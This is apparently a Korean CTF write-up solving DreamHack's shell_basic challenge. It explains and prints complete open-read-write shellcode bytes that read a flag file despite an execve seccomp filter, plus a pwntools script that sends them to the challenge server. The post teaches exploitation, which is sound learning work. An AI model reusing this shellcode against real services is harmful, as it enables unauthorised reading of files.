Pwnable/DreamHack

드림핵 shell_basic 풀이

프레딕 2024. 2. 6. 16:51
728x90

Pwnable 입문하고 처음 푸는 문제이다.

사세하게 설명해보겠다.

 

먼저 shell_basic.c 코드이다.

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

main함수만 봐주면 되는데 shellcode를 stdin으로 읽고 그걸 실행하고 있다.

* stdin : 0, stdout : 1, stderr : 2

 

그리고 flag의 위치는 /home/shell_basic/flag_name_is_loooooong 이다. 

그러므로 저 flag를 읽는 코드를 짜준 후 셸코드를 추출해 드림핵 서버에 전송하면 될 것 같다.

코드는 dreamhack 강의에서 배운 orw.c 코드를 살짝 수정해서 짜주겠다.

https://dreamhack.io/lecture/courses/50

 

Exploit Tech: Shellcode

셸코드가 무엇이고, 어떻게 작성하며 디버깅하는지 학습합니다.

dreamhack.io

 

orw.c 원본 코드에서 앞의 파일 이름을 스택에 넣어주는 부분만 바꿔주었다. 

/home/shell_basic/flag_name_is_loooooong 를 16진수로 바꿔주고 8바이트씩 리틀엔디안 방식으로 rax에 넣은 후 스택에 push 해줬다. 

gcc -o orw2 orw2.c -masm=intel

orw2.c 파일로 저장 후 위 코드로 컴파일 해줬다.

objdump -d orw2

그 다음 objdump 명령어로 셸 코드를 추출해봤다.

objdump는 오브젝트 파일을 덤프하는 명령어로 -d 옵션을 주면 디스어셈블 작업을 한다.

쭉 디스어셈블된 파일에서 필요한 코드는 run_sh함수 부분이므로 이 함수 부분의 셸 코드를 추출하면 된다. 

\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05

힘들게 노가다를 뛰면 위와 같이 나온다.

 

그다음 서버에 넘겨줄 방법으로 nc 명령어도 있지만 여기선 작동이 되지 않는것 같다.

그러므로 python의 pwntools를 이용해 넘겨주었다.

from pwn import *

context.arch = "amd64"
p = remote("host3.dreamhack.games", 23394)
shellcode = b"\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)

print(p.recv())

먼저 context.arch로 Shellcode 기능을 대상 아키텍처에 맞게 지정한다.

amd64는 흔히 사용하는 x86-64 아키텍처이다.

그다음 remote로 주소를 설정한 다음

shellcode 변수에 셸코드를 담았다.

그다음 shellcode: 가 출력된 후에 보내야 하므로 sendlineafter 함수를 사용해 shellcode를 넘겨주었다.

그다음 서버에서  응답을 받기 위해 p.recv()함수를 통해 응답을 받아왔다.

성공

728x90
반응형